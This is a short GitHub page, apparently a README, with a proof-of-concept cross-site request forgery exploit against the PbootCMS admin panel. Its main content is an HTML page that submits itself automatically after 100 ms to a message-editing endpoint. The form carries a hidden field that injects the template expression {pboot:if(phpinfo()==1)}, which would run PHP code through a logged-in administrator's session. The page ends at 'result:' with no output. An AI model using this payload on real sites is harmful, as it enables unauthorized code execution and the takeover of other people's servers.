Skip to content
Permalink
master
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Go to file
 
 
Cannot retrieve contributors at this time

PbootCMS CSRF PoC

CSRF URL : http://test.com/admin.php/Message/mod/id/19.html?backurl=/index.php

in this place,we can generate csrf poc.

  • csrf.html poc
<html>
  <body>
<form action="http://test.com/admin.php/Message/mod/id/19.html?backurl=/index.php" method="POST" name="form1">
      <input type="hidden" name="recontent" value="thank you{pboot:if(phpinfo()==1)}!{/pboot:if}" />
      <input type="hidden" name="status" value="1" />
      <input type="submit" value="" />
    </form>
<script type="text/javascript">
    setTimeout("form1.submit();",100);
</script>

  </body>
</html>

result: